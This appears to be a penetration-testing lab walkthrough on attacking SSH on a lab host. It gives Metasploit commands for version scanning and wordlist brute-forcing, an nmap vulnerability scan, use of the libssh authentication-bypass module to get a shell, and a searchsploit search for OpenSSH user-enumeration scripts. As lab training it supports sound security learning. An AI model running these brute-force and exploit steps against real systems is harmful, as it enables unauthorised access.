Port 22 SSH

SSH Enumeration

Version Enumeration with Metasploit

msfconsole
use auxiliary/scanner/ssh/ssh_version
set RHOSTS demo.ine.local
exploit

Bruteforce SSH

Metasploit SSH bruteforcing

We will now use ssh_login module to find the valid credentials to access the ssh server.

use auxiliary/scanner/ssh/ssh_login
set RHOSTS demo.ine.local
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/common_passwords.txt
set STOP_ON_SUCCESS true
set VERBOSE true
exploit

SSH Exploitation

┌──(root㉿INE)-[~]
└─# nmap -sS -sV --script=vuln  demo.ine.local
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-14 20:21 IST
Nmap scan report for demo.ine.local (192.148.44.3)
Host is up (0.000028s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     libssh 0.8.3 (protocol 2.0)
MAC Address: 02:42:C0:94:2C:03 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.67 seconds

Exploiting libssh with metasploit

Metasploit has an exploit for this. In the same module, there are both auxiliary scans and the exploit itself. Since we need to exploit it, let’s first check the available options.

For this exploit, we only need to set two parameters: RHOSTS and SPAWN_PTY. In the auxiliary section, we can confirm that it will directly spawn a shell once executed.

After setting the parameters, type exploit to execute the exploit and gain access to the shell.

As the output shows, the session has been created and opened. To verify, type the following command: sessions

To use this session, type sessions -i 2. This will successfully grant us access to the shell.

OpenSSH Exploits

Given that we have obtained the exact version of OpenSSH running on the target system, we can utilize Searchsploit to search for exploits that affect this specific version of OpenSSH.

This can be done by running the following command:

searchsploit OpenSSH 7.1

As shown in the following screenshot, Searchsploit reveals various username enumeration scripts that can be used to enumerate user accounts.

We can utilize these scripts to enumerate user accounts on the target system, we have already identified one user account that can also be used to authenticate with the OpenSSH server.

Metasploit SSH login

use auxiliary/scanner/ssh/ssh_login
set RHOSTS demo.ine.local
set USERNAME jackie
set PASSWORD password
exploit